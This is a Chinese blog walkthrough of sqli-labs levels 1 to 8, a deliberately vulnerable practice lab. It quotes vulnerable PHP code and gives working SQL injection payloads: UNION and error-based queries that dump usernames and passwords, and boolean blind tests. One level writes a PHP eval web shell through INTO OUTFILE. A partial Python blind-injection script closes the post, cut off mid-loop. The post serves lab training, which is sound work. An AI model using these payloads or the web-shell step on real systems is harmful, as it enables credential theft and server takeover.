sqli-labs题解

本文详细介绍了sqli-labs的各关卡解题过程,涉及多种SQL注入手法,包括GET型、POST型、数字型、字符型等多种类型,涵盖了联合查询、报错回显、布尔盲注、时间盲注等技术。同时讲解了如何利用闭合符号、报错函数、宽字节注入等方法绕过过滤机制,深入理解SQL注入的攻击与防御。
摘要由CSDN通过智能技术生成

文章目录

less-1(GET型、单引号字符型、联合查询)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sqli-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
   
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 -- ' LIMIT 0,1";
// $sql="SELECT * FROM users WHERE id='0' union select 1,2,3 # ' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
   
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
   
	echo '<font color= "#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</font>";  
	}
}
	else {
    echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

PHP的包含文件函数有两个,分别是includerequire

  • require生成一个致命错误(E_COMPILE_ERROR),在错误发生后脚本会停止执行。
  • include生成一个警告(E_WARNING),在错误发生后脚本会继续执行。

@是可以屏蔽函数执行过程中遇到问题而产生的一些错误、警告信息,这样用户就看不到程序的出错信息。这样除了用户界面会友好一些外,更重要的是安全性,因为屏蔽了出错文件的路径等信息。我们的目的是用户不应该看到后端任何其他信息。

die() 函数输出一条消息,并退出当前脚本。

拼接sql

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

我们判断是否有注入点一般是通过三个方面,如果满足以下三点,基本可以断定存在注入点

  1. id=1’ 加单引号报错,这里的单引号,是泛指,泛指特殊符号,因为SQL隐式转换的原因,一般是加闭合符号使其报错

  2. id=1 and 1=1 返回正确结果,这里1=1也是泛指,泛指加入true的查询语句会不会执行

  3. id=1 and 1=2 返回错误,这里1=2也是泛指,泛指加入false的查询语句会不会执行

输入id=1'sql报错了,再尝试id=1 and 1=1id=1 and 1=2均没有报错正常返回第一条数据

涉及到了MySQL的 隐式转换

  • 若字符串是以数字开头,并且全部都是数字,则转换的数字结果是整个字符串;部分是数字,则转换的数字结果是截止到第一个不是数字的字符为止
  • 若字符串不是以数字开头,则转换的数字结果是 0

id字段是int类型,在做where判断时 1 and 1=11 and 1=2 均被转换为数字 1 了,所以才会显示正确页面

确定了注入方式为字符型

输入以下两段payload试试

http://localhost/sqli/Less-1/?id=1' and '1'='1    
对应的查询语句
SELECT * FROM users WHERE id='1' and '1'='1' LIMIT 0,1
//返回正确页面
http://localhost/sqli/Less-1/?id=1' and '1'='2    
对应的查询语句
SELECT * FROM users WHERE id='1' and '1'='2' LIMIT 0,1
//返回空值

然后判断字段数量

http://localhost/sqli/Less-1/?id=1' order by 3 -- -   //页面正常显示
SELECT * FROM users WHERE id='1' ORDER BY 3 -- -' LIMIT 0,1
http://localhost/sqli/Less-1/?id=1' order by 4 -- -   //报错1054 - Unknown column '4' in 'order clause'
SELECT * FROM users WHERE id='1' ORDER BY 4 -- -' LIMIT 0,1

以此可推断字段数为3个

然后查看页面显示的字段有哪些

http://localhost/sqli/Less-1/?id=1' union select 1,2,3 -- -
SELECT * FROM users WHERE id='0' union select 1,2,3 -- -' LIMIT 0,1
//这时候id要么给错误值、要么为空,不然因为是联合查询还是会输出账号密码

可以看到页面显示出为字段2,3

显示数据库名和登录用户

http://localhost/sqli/Less-1/?id=0' union select 1,DATABASE(),USER() -- -
SELECT * FROM users WHERE id='0' union select 1,DATABASE(),USER() -- -' LIMIT 0,1

查看数据库的所有表

http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -' LIMIT 0,1

查询表下的所有字段

http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -' LIMIT 0,1

查询所有用户名用户名密码

http://localhost/sqli/Less-1/?id=0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
SELECT * FROM users WHERE id='0' union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -' LIMIT 0,1

concat_ws() 函数是一个拼接字符串函数,间隔符使用0x7e,代表的是 ~ 符号

less-2(GET型、数字型、联合查询)

本关sql

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

测试是否包含注入点

http://localhost/sqli/Less-2/?id=1'
SELECT * FROM users WHERE id=1' LIMIT 0,1  
//报错,并且曝出部分查询语句
http://localhost/sqli/Less-2/?id=1 and 1=1
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1  
//页面正确
http://localhost/sqli/Less-2/?id=1 and 1=2
SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1  
//空值

此处大概率存在注入点,且为数字型注入

判断字段数量

http://localhost/sqli/Less-2/?id=1 ORDER BY 4 -- -
SELECT * FROM users WHERE id=1 ORDER BY 4 -- - LIMIT 0,1   
//报错
http://localhost/sqli/Less-2/?id=1 ORDER BY 3 -- -
SELECT * FROM users WHERE id=1 ORDER BY 3 -- - LIMIT 0,1   
//正确

所以字段数量为3

判断数据前端数据显示位置

http://localhost/sqli/Less-2/?id=1 union select 1,2,3 -- -
SELECT * FROM users WHERE id=1 union select 1,2,3 -- - LIMIT 0,1

但这时候并没有显示数据显示点,因为id值为1是正确的,且查询语句limit 0,1只显示第一行,所以我们看不到第二行的值,这时候我们将id值改为错误的或者让联合查询语句前部分为空值即可

http://localhost/sqli/Less-2/?id=1 and 1=2 union select 1,2,3 -- -
SELECT * FROM users WHERE id=1 and 1=2 union select 1,2,3 -- -LIMIT 0,1

这时候就显示数据显示点了,后面的就跟第一关一样,我们直接查询用户名密码

http://localhost/sqli/Less-2/?id=1 and 1=2 union select 1,(select GROUP_CONCAT(CONCAT_WS(0x7e,username,password))from users),3 -- -
SELECT * FROM users WHERE id=1 and 1=2 union select 1,(select GROUP_CONCAT(CONCAT_WS(0x7e,username,password))from users),3 -- - LIMIT 0,1

less-3(GET型、单引号括号、联合查询)

localhost/sqli/Less-3/?id=1'
//报错,并曝出后半段查询语句 '1'') LIMIT 0,1

能看出来闭合是')

常见的闭合符号

'
)
"
")
')
'))

看本关sql语句:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

MySQL的布尔类型转换隐式转换

  • 当运算符,函数或者流程控制结构需要一个 boolean 参数时,该值会被自动转换
  • ≥1的数值会被转换成TRUE
  • 0或其他非数字开头字符串会被转换成FALSE

就像第一关的'2a'先是隐式转换 为 数字2,然后因为与布尔类型运算,又被转换为TRUE

后面的就跟前面的流程一样,只是闭合是 ')
我们直接查账号密码

localhost/sqli/Less-3/?id=0') union select 1,(select group_concat(username)from users),(select group_concat(password)from users) -- -
查询语句
SELECT * FROM users WHERE id=('0') union select 1,(select group_concat(username)from users),(select group_concat(password)from users) -- -') LIMIT 0,1

less-4(GET型、双引号括号、联合查询)

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

闭合符号为")

http://localhost/sqli/Less-4/?id=1") and ("1")=("1
//回显有值
http://localhost/sqli/Less-4/?id=1") and ("1")=("2
//空值

后面的测试流程跟前面一样,我们直接看账号,密码

http://localhost/sqli/Less-4/?id=0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) -- -
SELECT * FROM users WHERE id=("0") union select 1,(select group_concat(username) from users),(select group_concat(password) from users) -- -") LIMIT 0,1

less-5(GET型、单引号、报错回显)

试出来是'闭合

有报错信息但是无数值回显,我们看一下PHP源码

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
   
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
   
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysqli_error($con1));
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else {
    echo "Please input the ID as parameter with numeric value";}

能看到,即使值查询成功也不会回显值
这时候只能通过后面的mysqli_error()来回显我们想要的数据

updatexml()

UPDATEXML(XML_document,XPath_string,new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string(Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

通俗的将就是找到数据替换数据,第一个参数和第三个参数我们是用不到的,用到的是第二个参数,且是他的报错返回值。

http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version()),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,version()),0) -- -' LIMIT 0,1

如果不加concat()的话报错回显结果不全

payload:

http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from users)),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password))from users)),0) -- -' LIMIT 0,1

显示不全
可以逐行输出

http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0) -- -
SELECT * FROM users WHERE id='1' and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0) -- -' LIMIT 0,1

extractvalue()

ExtractValue(xml_document,xpath_string)

从目标XML中返回包含所查询的字符串

第一个参数:XML_document是String格式,为XML文档对象名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)

http://localhost/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1))) -- -
SELECT * FROM users WHERE id='1' and extractvalue(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1))) -- -' LIMIT 0,1

floor()

最终payload:

http://localhost/sqli/Less-5/?id=1' and (SELECT 1 from(select count(*),CONCAT(DATABASE(),floor(rand(0)*2))x from users group by x)a)-- -
SELECT * FROM users WHERE id='1' and (select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from users group by x)a) -- -' LIMIT 0,1

rand()产生0到1的随机数,rand(0) 内的0是种子,固定种子产生的随机数都是一样的

floor() 函数返回小于或等于x的最大整数

floor(rand(0)*2)函数就是将0到1的随机数乘以2之后再向下取整

因为种子固定,所以生成的序列也是固定的011011…

concat(database(),floor(rand(0)*2))x 这里是将 concat(database(),floor(rand(0)*2)) 叫为x,就是起个别名

group by key在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)

由于floor(rand(0)*2)的计算结果01101100…,导致临时表插入新行时主键冲突

就会爆出Duplicate entry 'security1' for key <group_key>

and (select 1 from必须加,否则报出Operand should contain 1 column(操作数应包含1列),因为and后面的语句生成的是一个虚表,而我们需要的是一个布尔值,所以我们需要将and后面查询改为布尔值。

less-6(GET型、双引号、报错回显)

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

经测得闭合为"的报错型GET型注入

updatexml()

http://localhost/sqli/Less-6/?id=1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id="1" and updatexml(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)),0)-- -" LIMIT 0,1

extractvalue()

http://localhost/sqli/Less-6/?id=1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -
SELECT * FROM users WHERE id="1" and extractvalue(1,concat(0x7e,(select CONCAT_WS(0x7e,username,password)from users limit 0,1)))-- -" LIMIT 0,1

floor()

http://localhost/sqli/Less-6/?id=1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -
SELECT * FROM users WHERE id="1" and (select 1 from (select count(*) ,concat((select CONCAT_WS(0x7e,username,password) from users limit 0,1),floor(rand(0)*2))x from users group by x)a) -- -"LIMIT 0,1

less-7(GET型、单引号双括号、写shell)

'))闭合get型,可以使用报错注入

updatexml()

http://localhost/sqli/Less-7/?id=1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -
SELECT * FROM users WHERE id=(('1')) and updatexml(1,concat(0x7e,(select concat_ws(0x7e,username,password)from users limit 0,1)),0)-- -')) LIMIT 0,1

题目名是Dump into outfile,尝试执行into outfile发现报错

show variables like '%secure%';

其中有个secure-file-priv参数:

  • secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
  • secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
  • secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

我们需要手动修改my.ini文件中secure-file-priv的值为空secure_file_priv=,重启mysql

写入一句话:

')) union select "<?php @eval($_POST['sql']);?>" into outfile '路径'
http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\mm2.php"--+

写入需要注意的:

  • 写入的内容需要用hex转码,以防拦截
  • 写入的前提需要知道物理文件路径
  • 写入的前提是有权限写入,或者有配置写入的权限

less-8(GET型、单引号、布尔盲注)

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
   
    echo '<font size="5" color="#FFFF00">'; 
  echo 'You are in...........';
  echo "<br>";
    echo "</font>";
  }
else 
{
   

echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
  echo "</br></font>";  
  echo '<font color= "#0000ff" font size= 3>';  

}
}
else {
    echo "Please input the ID as parameter with numeric value";}

发现print_r(mysqli_error($con1));被去掉了,也就是没有回显了

但是正确的话显示’You are in…',错误的话显示为空

所以就是'闭合的布尔型盲注

http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 -- -
SELECT * FROM users WHERE id='1' and ascii(substr(database(),1,1))=115 -- -' LIMIT 0,1
回显正常页面说明and后面为true

substr(database(),1,1)意思是截取数据库名,从第一个字符开始截取一个字符's'

ascii()是将字符转换为ASCII码's' 对应的ASCII码是115

length() 函数,返回字符串的长度

left() 函数,返回从左至右截取固定长度的字符串

然后可以直接上脚本或者sqlmap了

import string
import requests
from time import sleep
arlist = string.printable
Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and "

def checkurl(url):
    res = requests.get(url)
    if res.ok:
        if 'You are in' in res.text:
            return True
    return False

def main():
    flag  = ''
    for g in range(100):
        
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值